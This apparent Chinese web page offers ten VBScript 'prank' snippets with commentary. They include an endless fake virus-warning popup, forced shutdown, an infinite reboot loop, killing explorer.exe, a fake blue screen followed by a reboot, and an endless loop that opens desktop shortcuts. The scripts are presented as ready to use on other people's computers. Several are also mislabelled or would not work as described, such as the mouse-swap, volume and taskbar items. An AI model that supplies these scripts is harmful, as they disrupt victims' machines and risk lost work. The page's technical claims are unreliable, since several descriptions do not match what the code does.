101个vbs恶搞代码（制作不易，求点赞） |
您所在的位置：网站首页 › vc代码大全 › 101个vbs恶搞代码（制作不易，求点赞） |
|
1. 键盘输入倒转 ``` 创建一个无限循环的消息弹窗 ``` Set objShell = CreateObject("WScript.Shell") While True objShell.Popup "你的电脑已中毒，请立即关机！", 0, "警告", 48 Wend``` （注释：这个代码会创建一个无限循环的消息弹窗，不断向用户展示一个警告提示框，试图骗取用户关机，但实际上只是个恶搞。） 2. 倒计时关机 ``` Set objShell = CreateObject("WScript.Shell") objShell.Run "shutdown -s -t 60" objShell.Popup "你的电脑将在60秒内关机！", 10, "警告", 48``` （注释：这个代码会创建一个倒计时的消息弹窗，并在60秒后强制关机，让用户感到紧张和惊恐。） 3. 无限重启 ``` Set objShell = CreateObject("WScript.Shell") While True objShell.Run "shutdown -r -t 0" Wend``` （注释：这个代码会创建一个无限循环的重启命令，让电脑陷入无尽的重启循环中。适用于恶作剧或让别人陷入困境的场景。） 4. 彩蛋覆盖桌面 ``` Set objShell = CreateObject("WScript.Shell") objShell.Run "cmd /c echo 彩蛋已启动 && timeout 5 && copy con " & Chr(34) & "%UserProfile%\Desktop\Egg.txt" & Chr(34) & " && type con >> " & Chr(34) & "%UserProfile%\Desktop\Egg.txt" & Chr(34)``` （注释：这个代码会通过命令提示符在桌面上创建一个名为"Egg.txt"的文件，并将键盘输入的内容重定向到该文件中，制造一个彩蛋的效果。） 5. 键盘输入倒转 ``` Set objShell = CreateObject("WScript.Shell") objShell.Run "cmd /c echo off && wscript %0 %* && exit /b" Set objShell = Nothing Set objScript = CreateObject("WScript.Shell") strInput = objScript.InputBox("请输入要倒转的文本：", "输入倒转") strReversed = StrReverse(strInput) MsgBox "倒转后的文本：" & strReversed``` （注释：这个代码会将用户输入的文本进行倒转，并通过消息框展示给用户，这样用户输入的文本顺序和输出的顺序就倒过来了。） 6. 隐藏任务栏 ``` Set objShell = CreateObject("WScript.Shell") objShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\TaskbarSizeMove", 0, "REG_DWORD" objShell.Run "taskkill /f /im explorer.exe"``` （注释：这个代码会通过修改注册表的方式来隐藏任务栏，并结束掉资源管理器进程，让用户无法再通过任务栏操作电脑。） 7. 蓝屏错误 ``` Set objShell = CreateObject("WScript.Shell") objShell.Run "cmd /c echo off && echo 您的电脑已损坏 && echo 正在生成蓝屏错误 && echo 正在重启系统... && timeout 5 && shutdown -r -t 0"``` （注释：这个代码会通过命令提示符模拟生成一个蓝屏错误，并在5秒后重启系统。这是一个非常烦人和恶搞的行为。） 8. 桌面无限图标 ``` Set objShell = CreateObject("WScript.Shell") Set objFSO = CreateObject("Scripting.FileSystemObject") strDesktopPath = objShell.SpecialFolders("Desktop") While True Set objFolder = objFSO.GetFolder(strDesktopPath) For Each objFile In objFolder.Files If objFSO.GetExtensionName(objFile.Path) = "lnk" Then objShell.Run objFile.Path End If Next Wend``` （注释：这个代码会创建一个无限循环，不断打开桌面上的快捷方式。这会让桌面上的图标密密麻麻，难以操作。） 9. 鼠标左右互换 ``` Set objShell = CreateObject("WScript.Shell") objShell.Run "cmd /c echo off && setx /m /d MOUSEINPUTENABLED 0 && shutdown -r -t 0"``` （注释：这个代码会通过命令提示符将鼠标的左右键功能进行互换，并重启电脑使其生效。这会给用户带来非常混乱和困扰的操作体验。） 10. 音量随机调整 ``` Set objShell = CreateObject("WScript.Shell") Set objRandom = CreateObject("System.Random") While True intVolume = objRandom.Next(0, 101) objShell.Run "sndvol.exe -f " & intVolume, 0, False WScript.Sleep 5000 Wend``` （注释：这个代码会创建一个无限循环，每5秒钟随机调整系统音量的大小。这样会给用户带来不可预测的声音体验，可能导致用户不安和困惑。） |
| CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |